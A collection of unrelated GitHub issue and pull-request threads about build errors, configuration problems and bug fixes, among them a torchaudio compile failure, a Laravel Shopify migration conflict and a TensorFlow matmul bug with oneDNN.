error: ‘for’ loop initial declarations are only allowed in C99 or C11 mode

The following error occurred when running  'setup.py'
running install
running bdist_egg
running egg_info
writing requirements to torchaudio.egg-info/requires.txt
writing torchaudio.egg-info/PKG-INFO
writing top-level names to torchaudio.egg-info/top_level.txt
writing dependency_links to torchaudio.egg-info/dependency_links.txt
reading manifest file 'torchaudio.egg-info/SOURCES.txt'
writing manifest file 'torchaudio.egg-info/SOURCES.txt'
installing library code to build/bdist.linux-x86_64/egg
running install_lib
running build_py
copying torchaudio/_ext/th_sox/__init__.py -> build/lib.linux-x86_64-3.5/torchaudio/_ext/th_sox
running build_ext
generating cffi module 'build/temp.linux-x86_64-3.5/torchaudio._ext.th_sox._th_sox.c'
already up-to-date
building 'torchaudio._ext.th_sox._th_sox' extension
gcc -pthread -B /home/amust/anaconda3/envs/python35/compiler_compat -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -fPIC -I/home/amust/anaconda3/envs/python35/lib/python3.5/site-packages/torch/utils/ffi/../../lib/include -I/home/amust/anaconda3/envs/python35/lib/python3.5/site-packages/torch/utils/ffi/../../lib/include/TH -Itorchaudio/src -I/home/amust/anaconda3/envs/python35/include/python3.5m -c build/temp.linux-x86_64-3.5/torchaudio._ext.th_sox._th_sox.c -o build/temp.linux-x86_64-3.5/build/temp.linux-x86_64-3.5/torchaudio._ext.th_sox._th_sox.o
In file included from /home/amust/anaconda3/envs/python35/lib/python3.5/site-packages/torch/utils/ffi/../../lib/include/TH/THVector.h:5:0,
                 from /home/amust/anaconda3/envs/python35/lib/python3.5/site-packages/torch/utils/ffi/../../lib/include/TH/TH.h:12,
                 from build/temp.linux-x86_64-3.5/torchaudio._ext.th_sox._th_sox.c:492:
/home/amust/anaconda3/envs/python35/lib/python3.5/site-packages/torch/utils/ffi/../../lib/include/TH/THMath.h: In function ‘TH_polevl’:
/home/amust/anaconda3/envs/python35/lib/python3.5/site-packages/torch/utils/ffi/../../lib/include/TH/THMath.h:134:3: error: ‘for’ loop initial declarations are only allowed in C99 or C11 mode
   for (size_t i = 0; i <= len; i++) {
   ^
/home/amust/anaconda3/envs/python35/lib/python3.5/site-packages/torch/utils/ffi/../../lib/include/TH/THMath.h:134:3: note: use option -std=c99, -std=gnu99, -std=c11 or -std=gnu11 to compile your code
/home/amust/anaconda3/envs/python35/lib/python3.5/site-packages/torch/utils/ffi/../../lib/include/TH/THMath.h: In function ‘TH_polevlf’:
/home/amust/anaconda3/envs/python35/lib/python3.5/site-packages/torch/utils/ffi/../../lib/include/TH/THMath.h:142:3: error: ‘for’ loop initial declarations are only allowed in C99 or C11 mode
   for (size_t i = 0; i <= len; i++) {
   ^
/home/amust/anaconda3/envs/python35/lib/python3.5/site-packages/torch/utils/ffi/../../lib/include/TH/THMath.h: In function ‘TH_trigamma’:
/home/amust/anaconda3/envs/python35/lib/python3.5/site-packages/torch/utils/ffi/../../lib/include/TH/THMath.h:260:3: error: ‘for’ loop initial declarations are only allowed in C99 or C11 mode
   for (int i = 0; i < 6; ++i) {
   ^
/home/amust/anaconda3/envs/python35/lib/python3.5/site-packages/torch/utils/ffi/../../lib/include/TH/THMath.h: In function ‘TH_trigammaf’:
/home/amust/anaconda3/envs/python35/lib/python3.5/site-packages/torch/utils/ffi/../../lib/include/TH/THMath.h:278:3: error: ‘for’ loop initial declarations are only allowed in C99 or C11 mode
   for (int i = 0; i < 6; ++i) {
   ^
error: command 'gcc' failed with exit status 1

If you still have this issue, please feel free to file a new issue. There are instructions given so you can provide information about your environment. Please also add the commands you use to set up your environment. Current set up instructions are given in the README.


Link and its label IDs should have more meaningful names

A meaningful ID, would help to create grafana dashboards, with the flowchart plugin.
<mxCell id="6955bd28e4f532e5d3c134ab6a0aed99-trgt" value="e1-32" style="labelBackgroundColor=#ffffff;;" parent="6955bd28e4f532e5d3c134ab6a0aed99" vertex="1" connectable="0">

```<mxCell id="link_id:leaf2:e1-2:client4:eth1-src" value="e1-2" style="labelBackgroundColor=#ffffff;;" parent="link_id:leaf2:e1-2:client4:eth1" vertex="1" connectable="0">```


Mailer Config is not working, from, from_name have no effect

Hi,
it is not possible to properly configure the mailer.
Everytime I try to send an email it is sent with an from address of root@localhost which is not valid and despite I configured a diffrent from and from_name in my config.yaml.
An additional problem is, when using the \Mailer class instead of \PHPMailer\PHPMailer\PHPMailer it is not possible to properly handle errors. You then have to use \Mailer::createMessage to get access to the PHPMailer instance to access PHPMailer::$ErrorInfo.
But then again when using \Mailer::createMessage you have to manually pass the options.
So the mailing in general is a bit bulky and should be refactored.

Can you explain, what you did before and which version you use?
Maybe... Do you use a mail address with special chars like German umlauts (e. g. "ö" is valid in urls, but<EMAIL_ADDRESS>FILTER_VALIDATE_EMAIL) says false?
I see the problem with the error handling too. This is a problem, especially when forms are configured to not store data and the mailer fails.

Ive changed my config.yaml by adding my mail credentials:
mailer:
  from      : ****
  from_name : ****
  reply_to  : ****
  transport : smtp
  host      : smtp.strato.de
  user      : ****
  password  : "****"
  port      : 465
  auth      : true
  encryption: 'ssl'

It has nothing to do with the E-Mail-Address etc. and I have no "Umlaute" anywhere.
The config values are present when I var_dump($this->config); somewhere in the app.

Try to remove the quotation marks in password  : "****" and encryption: 'ssl'.

Hi.. I was struggling with similar issues.. Going through the bootstrap code, I chose to var_dump($config) which showed me that as the yaml file got imported, it had stored the mailer data under an account group. Apparently there was one space before mailer: and the line above had many spaces. After removing these spaces, the mailer fetched the information correct.
Lesson learned: Yaml files are f**** picky!


Cannot update image at media

Link to reproduction
No response
Payload Version
3.0
Node Version
22
Next.js Version
15rc
Describe the Bug
When I have already uploaded image, for ex. image.svg => hit save => click to edit media to change the file to image.png i'm getting error :thinking:
Saving is successful, but there is no minature and no image at /public/media/
I'm targeting staticDir: 'public/media', to hold images on nextjs
Reproduction Steps
import { slateEditor } from '@payloadcms/richtext-slate';
import { CollectionConfig } from 'payload';

export const Media: CollectionConfig = {
  slug: 'media',
  upload: {
    staticDir: 'public/media',
  },
  access: {
    read: () => true,
  },
  fields: [
    {
      name: 'alt',
      type: 'text',
      required: true,
    },
    {
      name: 'caption',
      type: 'richText',
      editor: slateEditor({
        admin: {
          elements: ['link'],
        },
      }),
    },
  ],
};

Adapters and Plugins
No response

@PatrikKozak this sounds familiar. Did you resolve this?


How to custom error page 403/404 on tengine

Hello, I want to customize the 403/404 error on nginx tengine, but I searched the directory, nginx, nginx.conf, and edited it according to the network I found, but it's not available, you have can you help me?

same as nginx


MAINT: Refactor DataPortal._get_minute_spot_value to avoid two lookups

Coverage decreased (-0.05%) to 87.463% when pulling 13b5b7efdcaf17630e789fb89742647f6d6f03a0 on only-get-value-once into 8a672be7e7403f2885177dad3fa275e004d268d0 on master.


Update Python - pyinterpolate

Hi Simon! I'm happy to add the pyinteprolate library, but without the modifications that you did removing "Python" from the descriptions. Especially because some times it doesn't make sense just remove the word. Can you please create another pull request just adding the pyinterpolate library? Thanks!

Hi @sacridini
I'm so sorry that this happened! I've edited it in the GitHub editor and was searching for the keyword Python, so I've probably replaced it. But I don't know when and how 🤦 I will restore Python from the abyss and update PR. Thanks!

Thanks @SimonMolinsky! No problem! :)


[Autocomplete] [bug in element]

in Autocomplete Async component
when I click on the No results found field
then an error appears in the console
manipulator.js:108 Uncaught TypeError: Cannot read properties of null (reading 'getAttribute')
at Object.getDataAttribute (manipulator.js:108:7)
at _id._handleItemsClick (index.js:643:9)
at HTMLUListElement.e (event-handler.js:137:1)
is it possible to fix it?
In the example on the site the error is also  @present

Hi @asasem, thanks for reporting this bug. I've added it to our repository. We'll fix it as soon as possible.


Introduce an option to upload CodeQL DBs created

This introduces an option on the analyze step of db-upload which results in the CodeQL databases created by the action being uploaded as artifacts. Further, a db-artifact-prefix option can be used to change the name of the created artifacts (the language is always appended to disambiguate between the potentially several databases created in multi-language repos).
Merge / deployment checklist

[x] Confirm this change is backwards compatible with existing workflows.
[x] Confirm the readme has been updated if necessary.
[x] Confirm the changelog has been updated if necessary.

After some discussion, it seems that it would be preferable to instead clean up DBs and output their location to let users upload them themselves in a later step.

Once this work is done and @shati-patel 's work on authentication with github is completed in the extension, then we can create a feature to download databases directly from github.


Fresh install is broken on Laravel 7.x

Expected Behavior
On a fresh install you should be able to install osiset/laravel-shopify without any errors using the install steps in the wiki.
Current Behavior
There is a conflict during the migration process.
Failure Information
php artisan vendor:publish --tag=shopify-migrations && php artisan migrate
Unable to locate publishable resources.
Publishing complete.
Migration table created successfully.
Migrating: 2014_10_12_000000_create_users_table
Migrated:  2014_10_12_000000_create_users_table (0.02 seconds)
Migrating: 2019_08_19_000000_create_failed_jobs_table
Migrated:  2019_08_19_000000_create_failed_jobs_table (0.01 seconds)
Migrating: 2020_01_29_010501_create_plans_table
Migrated:  2020_01_29_010501_create_plans_table (0.01 seconds)
Migrating: 2020_01_29_230905_create_shops_table
Migrated:  2020_01_29_230905_create_shops_table (0.02 seconds)
Migrating: 2020_01_29_231006_create_charges_table
Illuminate\Database\QueryException
SQLSTATE[HY000]: General error: 1215 Cannot add foreign key constraint (SQL: alter table charges add constraint charges_user_id_foreign foreign key (user_id) references users (id) on delete cascade)
at vendor/laravel/framework/src/Illuminate/Database/Connection.php:669
665|         // If an exception occurs when attempting to run a query, we'll format the error
666|         // message to include the bindings with SQL, which will make this exception a
667|         // lot more helpful to the developer instead of just the database's errors.
668|         catch (Exception $e) {

669|             throw new QueryException(
670|                 $query, $this->prepareBindings($bindings), $e
671|             );
672|         }
673|

  +34 vendor frames

35  artisan:37
Illuminate\Foundation\Console\Kernel::handle(Object(Symfony\Component\Console\Input\ArgvInput), Object(Symfony\Component\Console\Output\ConsoleOutput))
Steps to Reproduce
Just install the package as normal on a fresh install using 7.x
How to fix
Option 1. Set the users id to increment using integers and not bigint

$table->increments('id');

Option 2. Set the user_id type to a big int on the charges migration

Current : $table->integer('user_id')->unsigned();
Suggestion : $table->bigInteger('user_id')->unsigned();

This pull request fixes that problem

This pull request fixes that problem

Looks good 👍

I’ll just leave this issue open until it gets merged so that people know that it’s in progress

I think this is because this package supports laravel 5.6, and it uses $table->increments('id').
so I think pull-request is inappropriate at this point, it will break backward compatibility.
It's much easier to change the field type in the users table or override the charges migration.

@ncpope Thank you!
Interesting, I recently installed on 7 and didnt hit this nor did the test case... might've been the database type?
Seems it was an undocumented change started in 5.8.
Pulling 7.x via Laravel installer, I see it now uses $table->id();, which is:
    public function id($column = 'id')
    {
        return $this->bigIncrements($column);
    }

So yes, seems default is now bigIncrements... what I'll do is pull in your PR and add an if statement for less than 5.8.

Pulled in PR, and commit d4ceffb will detect Laravel version and do the applicable action.
I will await Github Action results, and release a patch tonight if that goes OK.

v11.0.1 should now solve this.
Thanks, re-open if still an issue, but seems you self-fixed it, thanks!


Base icon component

[x] Port base component
[x] Add custom prop types & docs
[x] Add examples
[x] Add variants
[x] Add states
[ ] Add knobs - skipping this do this due to lack of component type

taking this PR to split it on two different ones

See the new repo Icon.  We've trimmed it down and updated it there for our initial needs.
https://github.com/stardust-ui/react


add Auth0 integration support

Requires testing internally.

Released for testing as v2.17.0-alpha1


Trying to open Themed Concept on v0.6.3...

Describe your problem here.
So, I made a track called Themed Concept, for Vs. Tailsonic V3. HOWEVER, after I finally charted it, this happened:
PlayState.hx (line 1552)
PlayState.hx (line 1499)
PlayState.hx (line 2547)
PlayState.hx (line 2521)
PlayState.hx (line 1072)
flixel/FlxGame.hx (line 642)
flixel/FlxGame.hx (line 729)
flixel/FlxGame.hx (line 682)
flixel/FlxGame.hx (line 556)
openfl/events/EventDispatcher.hx (line 402)
openfl/display/DisplayObject.hx (line 1399)
Uncaught Error: Null Object Reference
Please report this error to the GitHub page: https://github.com/ShadowMario/FNF-PsychEngine

Crash Handler written by: sqirra-rng

I labeled this as "Help me!" because I've been trying to work this around and have not gotten anywhere, so any help would be very much appreciated.
Are you modding a build from source or with Lua?
Source
What is your build target?
Windows x64
Did you edit anything in this build? If so, mention or summarize your changes.
Plenty of things before, but not at the moment.

If you want the chart, I'll send it here:
tailsonic-themedconcept.json
bf-themedconcept.json
bf-scared-themedconcept.json
gf.json
tailsonicneon.json
bf.json
themed-concept.json

themed-concept.zip

The ZIP is just for the song audio.

All other files except themed-concept.json is are character files.

These are PNG files for the characters.

xmls.zip
Zip file for XML character files.

One more thing to mention: It works without events, although they are technically required for the transition in the track. That's why the track was named "Themed Concept".

when making issues please try to generalize your question or bug report in such a way that it focus on the error
what version of the engine are you running?

0.6.3

0.6.3

I have a hunch that your chart may be badly formatted, can you try to open it on the chart editor and see what happens?

I tried it again and it still gave me the error

But it will show when I click Reload JSON, it just won't let me play the chart.

If you wanna look at the chart, I did attatch it in an earlier comment as "themed-concept.json".

I believe part of this is an event issue, but I don't get what I did wrong.

send the json, I wanna try to fix it

themed-concept.json

here
themed-concept.json
events.json

I tried it again and it still didn't work, but now a few of the error lines went away even though some of them are still there. Thanks for helping though

Also the error appears instantly when I open the chart again

did you modify the way psych loads notes? I tried to opened yours on a clean build and it worked just fine

Even though this is closed now, I just wanted to say that I finally figured out what the problem was. Apparently, I didn't have the .json files and XML/PNG files in the right places.


Add a wiki: Vendetta Online Wiki

An anonymous user has submitted a new wiki via our submission form.
Link to origin wiki: https://vendetta-online.fandom.com
Link to destination (independent) wiki: https://vo-wiki.com

Metric
Vendetta Online Fandom Wiki
Vendetta Online Wiki

Content pages
373
362

Active users
0
1

Recent edits (last 30 days)
0
11

Added in commit https://github.com/KevinPayravi/indie-wiki-buddy/commit/3cb3317c650294bb9fbbb3af65881f2fa715fdf9, will be in next release

Added in v3.6.2.


Habana (accelerator) UX design for end-users

See requirements doc: https://docs.google.com/document/d/10HOrkt-Vm4Ir_FAggyAttFipiG-L2eZX1wTZLJtLp-c/edit?usp=sharing

While designing, should also keep in mind Req 2 from Project Wisdom phase 2: https://docs.google.com/document/d/1m1dFOdRnSF1BSt2dT8F9Nxd6YC1mOTS4vX05G9YSEds/edit?usp=sharing
Ideally this design solves for both the Habana and Wisdom use-cases.

This issue is completed. The finalized design link for end-users.


OWRS Performance Enhancement

I ran smart's code on my testbed, which brought a huge performance boost. My testbed uses a connectx-6 NIC and two Intel(R) Xeon(R) Gold 5218 CPUs.
When I wanted to replicate the performance gains of owrs, I wrote my own test code, which just posted depth wrs and poll all. But I couldn't get the same performance gain with my code.
Here are the throughputs at 8byte using smart and my test code.

I turned off all optimization options for smart except thread_aware_alloc. And made my test code as close as possible to the qp optimization and owrs optimization that smart uses. But no matter what, I can't get similar performance improvement above 24 threads and above 8 depth. Can you give me some idea about the source of the performance improvement in smart. Here is the smart_config I am using.
Also, my testing found that qp's allocation optimization on the doorbell register is not applied above 12 (which is the actual driver limit) (I turned off preload), but the smart code still gets a higher performance boost with more shared_uuar than 12. This is something I can't understand either.
{
"infiniband": {
"name": "",
"port": 1,
"gid_idx": 1
},
"qp_param": {
"max_cqe_size": 256,
"max_wqe_size": 256,
"max_sge_size": 1,
"max_inline_data": 64
},
"max_nodes": 128,
"initiator_cache_size": 4096,
"use_thread_aware_alloc": true,
"thread_aware_alloc": {
"total_uuar": 100,
"shared_uuar": 96,
"shared_cq": true
},
"use_work_req_throt": false,
"work_req_throt": {
"initial_credit": 4,
"max_credit": 12,
"credit_step": 2,
"execution_epochs": 60,
"sample_cycles": 19200000,
"inf_credit_weight": 1.05,
"auto_tuning": false
},
"use_conflict_avoidance": false,
"use_speculative_lookup": false,
"experimental": {
"qp_sharing": false
}
}

Does you enable Hyper-Thread? Our tests assume that #thread count <= #cores count
You can refer to https://github.com/madsys-dev/smart/blob/master/smart/initiator.cpp to find how our implemented. You can simply omit branchs that enable TaskPool (i.e., TaskPool::IsEnabled() == false)
For the second issue, SMART modifies rdma_core (see patch/ directory) so that the number of shared_uuars can exceed 12 (i.e., exactly the the input value MLX5_NUM_SHARED_UUARS). The application uses the modified libibverbs by specifying the LD_PRELOAD environment variable. You can try to use it in your program.


json serialization error with google analytics enabled

What I'm trying to achieve
I want to enable google analytics of a docker image I build using the current docker files from the master repo. I am starting it in beanstalk and then the error occurs:
/var/log/eb-docker/containers/eb-current-app/eb-d5c249ad18da-stdouterr.log
-------------------------------------
    raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type generator is not JSON serializable

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "./saleor/core/middleware.py", line 27, in middleware
    client_id, path=path, language=language, headers=headers)
  File "./saleor/core/analytics.py", line 68, in report_view
    _report(client_id, payloads, extra_headers=extra_headers)
  File "./saleor/core/analytics.py", line 36, in _report
    **extra_data)
  File "/usr/local/lib/python3.7/site-packages/celery/app/task.py", line 427, in delay
    return self.apply_async(args, kwargs)
  File "/usr/local/lib/python3.7/site-packages/celery/app/task.py", line 544, in apply_async
    body, serializer,
  File "/usr/local/lib/python3.7/site-packages/kombu/serialization.py", line 221, in dumps
    payload = encoder(data)
  File "/usr/local/lib/python3.7/contextlib.py", line 130, in __exit__
    self.gen.throw(type, value, traceback)
  File "/usr/local/lib/python3.7/site-packages/kombu/serialization.py", line 54, in _reraise_errors
    reraise(wrapper, wrapper(exc), sys.exc_info()[2])
  File "/usr/local/lib/python3.7/site-packages/vine/five.py", line 194, in reraise
    raise value.with_traceback(tb)
  File "/usr/local/lib/python3.7/site-packages/kombu/serialization.py", line 50, in _reraise_errors
    yield
  File "/usr/local/lib/python3.7/site-packages/kombu/serialization.py", line 221, in dumps
    payload = encoder(data)
  File "/usr/local/lib/python3.7/site-packages/kombu/utils/json.py", line 69, in dumps
    **dict(default_kwargs, **kwargs))
  File "/usr/local/lib/python3.7/json/__init__.py", line 238, in dumps
    **kw).encode(obj)
  File "/usr/local/lib/python3.7/json/encoder.py", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)
  File "/usr/local/lib/python3.7/json/encoder.py", line 257, in iterencode
    return _iterencode(o, 0)
  File "/usr/local/lib/python3.7/site-packages/kombu/utils/json.py", line 59, in default
    return super(JSONEncoder, self).default(o)
  File "/usr/local/lib/python3.7/json/encoder.py", line 179, in default
    raise TypeError(f'Object of type {o.__class__.__name__} '
kombu.exceptions.EncodeError: Object of type generator is not JSON serializable
ERROR saleor.core.middleware Unable to update analytics [PID:17:uWSGIWorker2Core0]
Traceback (most recent call last):
  File "/usr/local/lib/python3.7/site-packages/kombu/serialization.py", line 50, in _reraise_errors
    yield
  File "/usr/local/lib/python3.7/site-packages/kombu/serialization.py", line 221, in dumps
    payload = encoder(data)
  File "/usr/local/lib/python3.7/site-packages/kombu/utils/json.py", line 69, in dumps
    **dict(default_kwargs, **kwargs))
  File "/usr/local/lib/python3.7/json/__init__.py", line 238, in dumps
    **kw).encode(obj)
  File "/usr/local/lib/python3.7/json/encoder.py", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)
  File "/usr/local/lib/python3.7/json/encoder.py", line 257, in iterencode
    return _iterencode(o, 0)
  File "/usr/local/lib/python3.7/site-packages/kombu/utils/json.py", line 59, in default
    return super(JSONEncoder, self).default(o)
  File "/usr/local/lib/python3.7/json/encoder.py", line 179, in default
    raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type generator is not JSON serializable

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "./saleor/core/middleware.py", line 27, in middleware
    client_id, path=path, language=language, headers=headers)
  File "./saleor/core/analytics.py", line 68, in report_view
    _report(client_id, payloads, extra_headers=extra_headers)
  File "./saleor/core/analytics.py", line 36, in _report
    **extra_data)
  File "/usr/local/lib/python3.7/site-packages/celery/app/task.py", line 427, in delay
    return self.apply_async(args, kwargs)
  File "/usr/local/lib/python3.7/site-packages/celery/app/task.py", line 544, in apply_async
    body, serializer,
  File "/usr/local/lib/python3.7/site-packages/kombu/serialization.py", line 221, in dumps
    payload = encoder(data)
  File "/usr/local/lib/python3.7/contextlib.py", line 130, in __exit__
    self.gen.throw(type, value, traceback)
  File "/usr/local/lib/python3.7/site-packages/kombu/serialization.py", line 54, in _reraise_errors
    reraise(wrapper, wrapper(exc), sys.exc_info()[2])
  File "/usr/local/lib/python3.7/site-packages/vine/five.py", line 194, in reraise
    raise value.with_traceback(tb)
  File "/usr/local/lib/python3.7/site-packages/kombu/serialization.py", line 50, in _reraise_errors
    yield
  File "/usr/local/lib/python3.7/site-packages/kombu/serialization.py", line 221, in dumps
    payload = encoder(data)
  File "/usr/local/lib/python3.7/site-packages/kombu/utils/json.py", line 69, in dumps
    **dict(default_kwargs, **kwargs))
  File "/usr/local/lib/python3.7/json/__init__.py", line 238, in dumps
    **kw).encode(obj)
  File "/usr/local/lib/python3.7/json/encoder.py", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)
  File "/usr/local/lib/python3.7/json/encoder.py", line 257, in iterencode
    return _iterencode(o, 0)
  File "/usr/local/lib/python3.7/site-packages/kombu/utils/json.py", line 59, in default
    return super(JSONEncoder, self).default(o)
  File "/usr/local/lib/python3.7/json/encoder.py", line 179, in default
    raise TypeError(f'Object of type {o.__class__.__name__} '
kombu.exceptions.EncodeError: Object of type generator is not JSON serializable
UWSGI uwsgi "GET /de/cart/summary/ HTTP/1.1" 200 785 29ms [PID:17:Worker-2] [RSS:162MB]```

### Steps to reproduce the problem
1. Build the docker image
2. Try to start it in beanstalk with the minimal needed env variables set and google analytics id set too
3. Look into the logs and find the error in question

### What I expected to happen
Beanstalk starts the dockerimage with the needed minimal env variables and google analytics enabled.

There is a merge request related to this #3615

This commit: https://github.com/mirumee/saleor/pull/3615/files fixed this issue

I think none of us was able to reproduce this issue, but is seems some people are still getting it. Maybe we should revert this change linked above if it doesn't break anything else now.

This commit: https://github.com/mirumee/saleor/pull/3615/files fixed this issue

I resolved the issue using this.


iPhone 6s, 12.1.2, using b31

apple's stock Notes app crashes.
app icons compact on the screen sometimes, covering the icon labels and being generally annoying.  Not sure what triggers it, since I have no icon-arranging tweaks installed.

I’d assume that this is a tweak conflict. This could be caused by an outdated tweak that may modify the springboard in any way. I haven't personally ran into these issues on both of my devices and notes app works fine.


Oci image tag feature

@shimish2
Added Support for OCI Image Tag
change this to say "add support for individual image tags"

@shimish2
Added Support for OCI Image Tag
change this to say "add support for individual image tags"
we may want to upstream this someday.

Done


Added deprecated tag and updated README with the latest code

@fonkamloic
The issue I found when I was following the documentation on the pub.dev and also on Github README.
The code was updated but the documentation was still showing the old implementation.
Please do check my PR.
Thanks
Status
READY
Breaking Changes
NO
Description
The code was updated but the documentation and the example was not updated.
So I have updated the README file and also added NoScreenshot constructor with a deprecated tag on it.
Type of Change

[ ] ✨ New feature (non-breaking change which adds functionality)
[ ] 🛠 Bug fix (non-breaking change which fixes an issue)
[ ] ❌ Breaking change (fix or feature that would cause existing functionality to change)
[x] 🧹 Code refactor
[ ] ✅ Build configuration change
[x] 📝 Documentation
[ ] 🗑 Chore

@Musaddiq625 Thank you for your contribution. Reviewing...


Change variable names in code to match initialisms best practice

Change variable names such as Pv to PV and Pvc to PVC
https://google.github.io/styleguide/go/decisions#initialisms

Fixed by #10


Configure Ma1 and simplified box defaults

I have done a few changes, feel free to merge or reject the PR, I just opened it to show you and see what you think:

I have deleted the links that you were including with the box. I think it's probably better to let the users decide which links they want instead of "hardcoding" them.
The provisioning seems a bit redundant as well, you can easily include that in the startup config if you want. I guess you were trying to show it as an example but then maybe is better to include examples of Vagranfiles, what do you think?
Finally, I have added a simple bash script that will get an IP via DHCP, configure it using the FastCli and kill the dhclient process. It's a bit "cleaner" than the previous method and that allows me to using a provisioning script (as in the included example) to configure a secondary IP. The reason for the secondary IP is that I want to build more complex labs with this and using the NAT type interface doesn't work for me. I need host-only interfaces. With the secondary IP I can just change manually the type of the interface and have full access to the machine via the secondary IP. I am still trying to figure out if I can automate this step.

Let me know what you think : )

Thanks.   These changes look great.   I appreciate your contributions helping make the initial setup effective for a broader audience.

It would be interesting though if EOS could support DHCP client in the mgmt interface. Maybe you can bring that up back to product management ; )


Submit library to Packagist

I'm not sure what the policy is on submitting packages to Packagist, but I definitely want to do that. The library, as of now, isn't even close to an alpha release, so this is probably way premature but I want it on there. Under my personal account (lukev).

Submitted the project to packagist and set up webhooks for packagist in github: https://packagist.org/packages/lukev/csvelte


Send and Receive Data

Steps

Created a new branch from the develop branch
Created the JS dependencies and built out a FetchWrapper class
Added the instance methods of the FetchWrapper class
Created the Utils class
Added static methods to the Utils class
Created the Helper class
Added the static and instance methods to the Helper class
Invoked methods in a window event listener
Added basic styling to the error output

Screenshot

Thanks @Ghiftee


collect locks up occasionally

See geduldig/TwitterAPI#36. The symptom is that collect will sometimes (say every few days) lock up and require kill -9. I think this appeared in TwitterAPI 2.2.6.

The TwitterAPI bug is reported fixed in 2.3.


[Feature Request] 制作分支版本

Checklist

[X] I searched exising issues and no one else requests similar feature.
[X] I think that 25%+ users are positive towards this feature.

Describe the feature
用于分享
Additional context
No response

Hello @unknowIfGuestInDream. This issue is marked as invalid and closed. Please make sure you are reporting an issue and following the issue template.


Update build script since cgo is now required

Adding https://github.com/mattn/go-sqlite3#cross-compile to the project is adding an additional level of complexity due to cgo and cross compiling.  It seems like we can cross-compile to eliminate additional dependancies on the target machines with xgo, but I'm not sure yet.  @graywolf336 if you have any thoughts around this or have worked through this in the past, let me know!
~/owncast# ./owncast -enableVerboseLogging -enableDebugFeatures
FATA[0000] Binary was compiled with 'CGO_ENABLED=0', go-sqlite3 requires cgo to work. This is a stub

Updated the build script to use xgo.  Takes a while for builds to take place, but that's ok.


tf.matmul gives wrong result on CPUs with avx512_vnni

Issue type
Bug
Have you reproduced the bug with TensorFlow Nightly?
No
Source
binary
TensorFlow version
2.13.0
Custom code
No
OS platform and distribution
Linux
Mobile device
No response
Python version
No response
Bazel version
No response
GCC/compiler version
No response
CUDA/cuDNN version
No response
GPU model and memory
No response
Current behavior?
When running on a CPU with avx512_vnni instructions (e.g. Xeon Platinum 8260), tf.matmul in 2.13 gives a completely wrong result that also changes from run to run. Other functions, e.g. tf.einsum, are affected too. A reproducer is included below. 2.12 is working correctly.
I believe this is due to a bug in oneDNN, since running with TF_ENABLE_ONEDNN_OPTS=0 restores the correct behaviour.
Could you please try building TF against the latest oneDNN to see if this bug is already fixed there, and either upgrade oneDNN or revert back to the version used in 2.12? If this bug is still present in latest oneDNN, could you also forward this issue to them so that they can fix it? tf.matmul is such a fundamental part of TensorFlow, so it would be great to have a fix for this as soon as possible (and perhaps add further tests to prevent this kind of bug from reoccurring?)
Standalone code to reproduce the issue
import tensorflow as tf
tf.keras.utils.set_random_seed(1)
length = 5000
x = tf.concat([tf.ones([length, 1]), tf.random.normal([length, 2])], axis=1)
x = tf.tile(x[None, ...], [3, 1, 1])
xx = tf.matmul(x, x, transpose_a=True)
# xx = tf.einsum("ijk,ijm->ikm", x, x)  # Also doesn't work
print(f"{xx.numpy()}")

Relevant log output
[[[ 2.0936000e+04  4.1334631e+02  8.8164221e+02]
  [ 4.1334631e+02  2.0951623e+04  5.5098944e+02]
  [ 8.1284619e+02  4.7815466e+02  1.9981070e+04]]

 [[ 0.0000000e+00  6.8663625e-44  0.0000000e+00]
  [ 2.7628342e-35  0.0000000e+00  2.6752920e-35]
  [ 0.0000000e+00  2.3822074e-44  0.0000000e+00]]

 [[-7.9164143e+31  8.9978802e+02  1.7936620e-43]
  [ 0.0000000e+00  1.1210388e-43  0.0000000e+00]
  [ 2.7767702e-35  0.0000000e+00  7.0064923e-45]]]

@zhezherun thank you for raising this issue, I was able to reproduce the issue using tensorflow==2.13.0 binary release:
TF_ENABLE_ONEDNN_OPTS=1
onednn_verbose,info,oneDNN v2.7.3 (commit N/A)
onednn_verbose,info,cpu,runtime:threadpool,nthr:224
onednn_verbose,info,cpu,isa:Intel AVX-512 with float16, Intel DL Boost and bfloat16 support and Intel AMX with bfloat16 and 8-bit integer support
onednn_verbose,info,gpu,runtime:none
onednn_verbose,info,prim_template:operation,engine,primitive,implementation,prop_kind,memory_descriptors,attributes,auxiliary,problem_desc,exec_time
onednn_verbose,exec,cpu,matmul,brg:avx512_core,undef,src_f32::blocked:acb:f0 wei_f32::blocked:abc:f0 dst_f32::blocked:abc:f0,attr-scratchpad:user ,,3x3x5000:3x5000x3:3x3x3,2.125
[[[2.3496000e+04 4.5627100e+02 9.7381091e+02]
  [4.5627100e+02 2.3422373e+04 4.2656726e+02]
  [9.7381091e+02 4.2656726e+02 2.3594883e+04]]

 [[4.5893926e-41 0.0000000e+00 0.0000000e+00]
  [1.4012985e-45 1.7743547e+28 0.0000000e+00]
  [0.0000000e+00 2.2420775e-43 0.0000000e+00]]

 [[1.1210388e-43 0.0000000e+00 1.1527105e-35]
  [0.0000000e+00 7.0064923e-45 0.0000000e+00]
  [6.7421017e+22 1.6815582e-43 0.0000000e+00]]]

TF_ENABLE_ONEDNN_OPTS=0
[[[5000.        128.78204   131.61632 ]
  [ 128.78204  4929.8867    -54.454735]
  [ 131.61632   -54.454735 4999.6367  ]]

 [[5000.        128.78204   131.61632 ]
  [ 128.78204  4929.8867    -54.454735]
  [ 131.61632   -54.454735 4999.6367  ]]

 [[5000.        128.78204   131.61632 ]
  [ 128.78204  4929.8867    -54.454735]
  [ 131.61632   -54.454735 4999.6367  ]]]

@agramesh1 @vpirogov I also found that this issue only happens when length is greater than 2681
Currently building tf from source to see if issue still there in latest oneDNN release.

I can reproduce this with oneDNN tests. Looks like oneDNN v2.7.3 is affected, but not the current version, oneDNN v3.2.
Output with ONEDNN_VERBOSE=1:
$ ONEDNN_VERBOSE=1 python3 ./test.py
2023-08-09 10:54:14.079700: I tensorflow/core/util/port.cc:110] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.
